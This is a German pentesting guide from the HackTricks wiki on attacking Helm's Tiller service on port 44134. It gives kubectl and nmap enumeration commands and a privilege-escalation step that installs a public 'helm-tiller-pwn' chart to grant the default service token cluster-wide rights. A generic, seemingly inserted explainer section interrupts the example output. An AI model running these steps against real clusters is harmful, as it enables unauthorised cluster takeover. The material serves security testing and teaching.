hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md
2024-02-10 15:36:32 +00:00

8.1 KiB

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Helm ist der Paketmanager für Kubernetes. Es ermöglicht das Verpacken von YAML-Dateien und deren Verteilung in öffentlichen und privaten Repositories. Diese Pakete werden als Helm-Charts bezeichnet. Tiller ist der Dienst, der standardmäßig auf Port 44134 läuft und den Service anbietet.

Standardport: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

Enumeration

Wenn Sie Pods und/oder Services in verschiedenen Namespaces aufzählen können, zählen Sie sie auf und suchen Sie nach denen mit dem Namen "tiller":

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

Beispiel:

Pentesting Tiller (Helm)

Einführung

Tiller ist der Server-Komponente von Helm, einem Paketmanager für Kubernetes. In diesem Abschnitt werden einige Techniken zum Pentesting von Tiller vorgestellt.

Informationen sammeln

Version überprüfen

Um die Version von Tiller zu überprüfen, können Sie den Befehl helm version verwenden.

$ helm version

Tiller-Endpunkt ermitteln

Um den Tiller-Endpunkt zu ermitteln, können Sie den Befehl kubectl get endpoints -n kube-system verwenden und nach dem Tiller-Dienst suchen.

$ kubectl get endpoints -n kube-system

Schwachstellenanalyse

Standardanmeldeinformationen

Tiller verwendet standardmäßig keine Anmeldeinformationen. Dies kann zu Sicherheitsproblemen führen, da jeder mit Zugriff auf den Tiller-Endpunkt auf den Cluster zugreifen kann.

Fehlende Berechtigungsprüfung

Tiller überprüft standardmäßig nicht die Berechtigungen für die Installation oder Aktualisierung von Charts. Dies ermöglicht es einem Angreifer, bösartige Charts zu installieren oder vorhandene Charts zu aktualisieren.

Unzureichende Zugriffskontrollen

Tiller verwendet standardmäßig keine Zugriffskontrollen, was bedeutet, dass jeder mit Zugriff auf den Tiller-Endpunkt beliebige Aktionen ausführen kann.

Exploitation

Bösartige Charts

Ein Angreifer kann bösartige Charts erstellen und diese über Tiller installieren. Diese Charts können schädlichen Code enthalten, der im Cluster ausgeführt wird.

Chart-Manipulation

Ein Angreifer kann vorhandene Charts manipulieren und bösartigen Code hinzufügen. Wenn ein Administrator diese Charts aktualisiert, wird der bösartige Code im Cluster ausgeführt.

Gegenmaßnahmen

Authentifizierung und Autorisierung

Es wird empfohlen, Tiller mit Authentifizierung und Autorisierung zu konfigurieren, um unbefugten Zugriff zu verhindern.

Zugriffskontrollen

Es wird empfohlen, Zugriffskontrollen für Tiller zu implementieren, um die Aktionen, die ein Benutzer ausführen kann, einzuschränken.

Aktualisierung der Tiller-Version

Es wird empfohlen, Tiller regelmäßig zu aktualisieren, um von den neuesten Sicherheitsupdates zu profitieren.

Fazit

Tiller kann aufgrund seiner Standardkonfiguration und fehlenden Sicherheitsmaßnahmen zu Sicherheitsproblemen führen. Durch die Implementierung von Authentifizierung, Autorisierung und Zugriffskontrollen sowie regelmäßige Aktualisierungen können diese Risiken minimiert werden.

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

Sie können auch versuchen, diesen Dienst zu finden, indem Sie den Port 44134 überprüfen:

sudo nmap -sS -p 44134 <IP>

Sobald Sie es entdeckt haben, können Sie mit dem Herunterladen der Client-Anwendung Helm kommunizieren. Sie können Tools wie homebrew verwenden oder sich die offizielle Veröffentlichungsseite** ansehen**. Weitere Details oder andere Optionen finden Sie in der Installationsanleitung.

Dann können Sie den Dienst aufzählen:

helm --host tiller-deploy.kube-system:44134 version

Privilege Escalation

Standardmäßig wurde Helm2 im Namespace kube-system mit hohen Privilegien installiert. Wenn du den Service findest und Zugriff darauf hast, kannst du dadurch Privilegien eskalieren.

Alles, was du tun musst, ist ein Paket wie dieses zu installieren: https://github.com/Ruil1n/helm-tiller-pwn. Dadurch erhält der Standard-Service-Token Zugriff auf alles im gesamten Cluster.

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

In http://rui0.cn/archives/1573 finden Sie die Erklärung des Angriffs, aber im Grunde genommen können Sie in den Dateien clusterrole.yaml und clusterrolebinding.yaml innerhalb von helm-tiller-pwn/pwnchart/templates/ sehen, wie alle Berechtigungen dem Standard-Token zugewiesen werden.

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: